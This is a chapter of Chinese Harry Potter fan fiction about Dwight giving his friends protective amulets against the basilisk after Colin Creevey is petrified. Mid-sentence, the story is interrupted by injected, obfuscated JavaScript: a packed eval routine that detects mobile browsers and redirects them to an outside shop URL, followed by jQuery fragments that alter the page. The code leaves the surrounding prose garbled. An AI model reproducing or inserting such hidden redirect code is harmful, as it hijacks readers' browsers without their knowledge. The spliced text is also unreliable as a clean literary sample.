清晨的霍格沃茨大礼堂,天花板被魔法变成了与外界同步的、清透的蔚蓝色,几缕柔软的白云在上面悠悠飘过。然而,这本该是一天中最充满活力的时刻,此刻却被一层厚重的、几乎令人窒息的沉默所笼罩。空气中,闻不到往日里那种烤面包的浓郁麦香与新鲜南瓜汁的清甜,取而代之的,是一种无形的、压抑的紧张感,像一张密不透风的网,将每一个人都牢牢地束缚其中。
四大学院的彩绘玻璃窗,将初升的、带着凉意的阳光,折射成无数细碎的、流动的彩色光斑,斑驳地落在那些长长的、空旷的餐桌上。可即便是这绚烂的光,也无法暖透学生们脸上那种紧绷而苍白的神色。窃窃私语声代替了往日的欢声笑语,学生们三三两两地聚在一起,眼神中充满了惊恐与不安,叉子与餐盘偶尔碰撞发出的清脆声响,在这过分的安静中,显得格外刺耳。
当德怀特推开那扇沉重的、雕刻着霍格沃茨校徽的礼堂大门时,几乎所有人的目光,都下意识地朝着他看了过来。他那身裁剪合体的黑色长袍下摆,还沾着几滴清晨草地上的、晶莹的露水,显然是刚从外面一路疾行而来。他无视了周围那些充满了探究与畏惧的目光,径直穿过因为他的出现而自动分开的喧闹人群。他那双深沉的灰黑色眼眸里,凝结着尚未散去的、如同冰霜般的凝重。
他的目的地非常明确——格兰芬多与斯莱特林两张长桌交界处的一片空位。
在那里,哈利、艾瑞卡、辛西娅早已等候多时。他们面前的餐盘几乎未动,南瓜汁也只是浅浅地喝了一口。就连一向习惯于在最后一刻才出现在课堂上的、清冷的斯黛拉,今天也难得地提前到场。她静静地坐在那里,手里捧着一本厚重的魔咒书,但目光却没有聚焦在书页上,那双总是波澜不惊的灰色眼眸里,此刻也藏着一丝不易察觉的、高度的警惕。
“科林??克里维被石化了。”
德怀特刚刚在长凳上坐下,甚至来不及喘一口气,便用一种清晰而沉稳的声音,将这个骇人的消息,像一块巨大的、冰冷的石头,狠狠地投入了这片看似平静的湖面。
“石化?”
哈利手中那把银质的餐勺,在听到这个消息的瞬间,“当啷”一声,从他颤抖的指间滑落,重重地砸在了洁白的瓷制餐盘上,发出一声刺耳的响声。几滴橙黄色的南瓜汁被溅了出去,在他深红色的院袍上,留下了几个刺眼的斑点。他的那双绿色眼睛里,瞬间被一种混杂着恐惧、自责与深深愧疚的情绪所填满。
“是……是密室里的那个东西干的……多比之前就警告过我,它的目标是……是麻瓜出身的巫师……科林他……他正好就是……”他的声音因为激动而变得嘶哑,整个人都陷入了一种巨大的、无法自拔的自我谴责之中。
“是蛇怪。”
德怀特伸出手,打断了他那语无伦次的自责。“昨天晚上,邓布利多教授撬开科林那台麻瓜相机后盖的时候,我就在医疗翼的门外。那股刺鼻的、塑料在高温下燃烧后产生的气味,我到现在还记得。里面的胶卷,已经被彻底灼烧成了焦糊的一团,像是被某种极其强大的魔法能量瞬间摧毁的。”
他顿了顿,深邃的目光扫过在场的每一个人,确保他们都听清了自己的话。
“这是蛇怪目光照射后的典型痕迹。我查阅过家族的古籍,上面有明确记载——蛇怪那致命的视线,在通过类似镜头这样的媒介聚焦后,会触发一种强烈的、破坏性的魔法反应。这种反应,既能在一瞬间烧毁记录影像的胶卷,又能将被注视的目标彻底石化。”
艾瑞卡握着刀叉的手,下意识地微微收紧,指节因为用力而泛白。她那双总是像盛着一汪清泉的蓝色眼眸里,飞快地掠过了一丝无法抑制的颤抖。但那份恐惧,很快就被一种更加坚定的、不容动摇的决心所取代。
“我们必须保护好自己,还有……还有学校里其他所有麻瓜出身的同学。”她深吸了一口气,看向德怀特,声音虽然轻柔,却带着一种不容置疑的力量,“你母亲之前的那些提醒,果然……全都应验了。”
“所以我带了这个。”
德怀特从他长袍内侧那个用深紫色天鹅绒制成的、触感柔软的袋子里,取出了五枚大小相近的银质护符,和五块被打磨得光滑圆润的护身石,轻轻地放在了光洁的木质桌上。
清晨的阳光透过彩绘玻璃,正好照射在这几件小巧的魔法物品上,泛起了一层神秘而动人的光晕。
那些护符的边缘,雕刻着属于耶罗家族古老的、代表着守护与反击的荆棘符文,繁复而优美。在符文的中央,巧妙地嵌着几片细碎的、如同火焰般燃烧的凤凰羽毛,在光线下闪烁着温暖的微光。而在那些肉眼几乎无法察觉的符文缝隙里,还能看到一些被研磨得极细的、白色的公鸡羽毛粉末,散发出一种极淡的、几乎闻不到的气味。
而那些黑色的护身石上,则用一种更加古老的手法,镌刻着芙蕾雅教母最擅长的、能够驱散黑暗魔法的炼金符文——“驱散”。那金色的符文,在黑色的石面上,如同流淌的熔岩般,泛着淡淡的光泽。在石头的缝隙里,还隐隐地渗出了一股带着草木清香的、半透明的白鲜树皮的汁液——那是米娅阿姨在制作治愈类魔药时,最擅长使用的材料。
“这是母亲、米娅阿姨,还有我的教母芙蕾雅,她们三个人一起,连夜为我们制作的。”
德怀特拿起其中一枚护符,递到了哈利的手中。他的指尖,能够清晰地感受到,那纯银的材质,正传来一阵阵温热的、令人安心的触感。
“纯银的材质,能够最大程度地克制蛇怪这种黑暗生物的魔力;凤凰的羽毛,则能够与它那拥有强大治愈能力的眼泪产生呼应;公鸡的羽毛粉末,是所有蛇类生物天生的克星,能够有效地驱散它们。米娅阿姨在上面附加的治愈咒,可以在万一被石化后,最大限度地缓解魔法残留对身体的伤害。而芙蕾雅教母镌刻的炼金符文,则可以在我们靠近危险的时候,提前发出预警。”
哈利接过那枚沉甸甸的护符,他的指尖,轻轻地摩挲着上面那些复杂而精美的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738994|186085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
符文,能清晰地感受到,一股稳定而强大的魔力波动,正从护符的内部,源源不断地传来,像一股温暖的溪流,缓缓地流遍他的全身。他那颗因为恐惧和自责而剧烈跳动的心,在这一刻,竟然奇迹般地渐渐平复了下来。
他抬起头,看向德怀特,那双绿色的眼睛里,满是真诚的感激。
“谢谢你,德怀特。还有……也替我谢谢赛利娅阿姨她们。”
“拿着吧,这是我们目前最有效的防御手段。”
德怀特又将另一枚护符,递给了艾瑞卡。她那双蓝色的眼眸里,原本还残留着的不安与担忧,在触碰到护符的那一瞬间,便淡去了几分。她小心翼翼地、用一种近乎虔诚的姿态,将那条纤细的银链,系在了自己白皙的手腕上。冰凉的银链贴着温暖的皮肤,传来了一种令人无比安心的、沉甸甸的暖意。
“我会每天都带着它的。而且,我还会去提醒赫敏,和我们认识的其他同学,让他们务必多加小心。”
辛西娅也接过了一枚护符,她那双总是闪烁着狡黠光芒的琥珀色眼睛里,此刻闪过了一抹混合着兴奋与坚定的、复杂的光芒。她没有像艾瑞卡那样戴在手腕上,而是郑重地将它塞进了自己巫师袍内侧的、最贴近心口的口袋里,然后用力地按了按。
“斯莱特林这边,我会负责留意的。我会去注意那些,平日里就对纯血理论格外执着和狂热的人。既然蛇怪需要用蛇佬腔才能控制,那么学校里能够做到这一点的人,屈指可数。说不定……说不定能从他们身上,找到一些有用的线索。”
最后,德怀特拿起了桌上倒数第二枚护符,递给了从始至终都保持着沉默的斯黛拉。
这位一向清冷得如同冰雪般的少女,在看到德怀特递过来的护符时,指尖微不可查地顿了一下。她那双灰色的眼眸里,飞快地闪过了一丝难以掩饰的讶异。她接过了护符,修长的指尖,轻轻地拂过上面那个用炼金术镌刻的“驱散”符文,立刻就从中,感受到了一股无比熟悉的、精纯的炼金魔力——那是她的教母,芙蕾雅??索恩所特有的、独一无二的手法。
她抬起眼,深深地看了一眼德怀特,语气里,带上了一种极为罕见的、近乎柔和的语调。
“替我,谢谢你母亲她们。”
“母亲在信里对我说,逃避,永远解决不了任何问题。”
德怀特将最后一枚护符,戴在了自己的脖子上。那冰凉的护符,贴着他胸口的皮肤,仿佛能够清晰地感受到,母亲、米娅阿姨和芙蕾雅教母三个人,在制作它时所倾注的、沉甸甸的心血与守护。
“我们不仅要保护好自己,更重要的,是要想办法,找出那个隐藏在幕后、操控着蛇怪的人。从今天开始,我们所有人,都要尽量避免独自一人,去走那些偏僻的、少有人至的走廊。如果必须出行,务必要结伴而行。这些护符和护身石,必须时刻带在身上。”
他的目光,坚定地扫过眼前的每一个伙伴。
“它们,将会成为我们的,第一道防线。”